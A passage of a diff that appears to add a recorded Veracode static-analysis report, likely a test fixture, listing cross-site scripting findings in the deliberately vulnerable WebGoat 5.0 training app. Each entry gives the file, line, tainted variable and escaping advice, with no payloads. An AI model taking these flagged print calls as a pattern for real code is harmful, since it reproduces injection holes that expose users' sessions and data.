+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"183\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"191\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"20\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable message.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpSplitting.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpSplitting\"
+        functionprototype=\"apache.ecs.Element doHTTPSplitting(session.WebSession)\"
+        functionrelativelocation=\"55\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"221\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"1\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"230\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"241\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"263\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"4\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"172\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"260\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
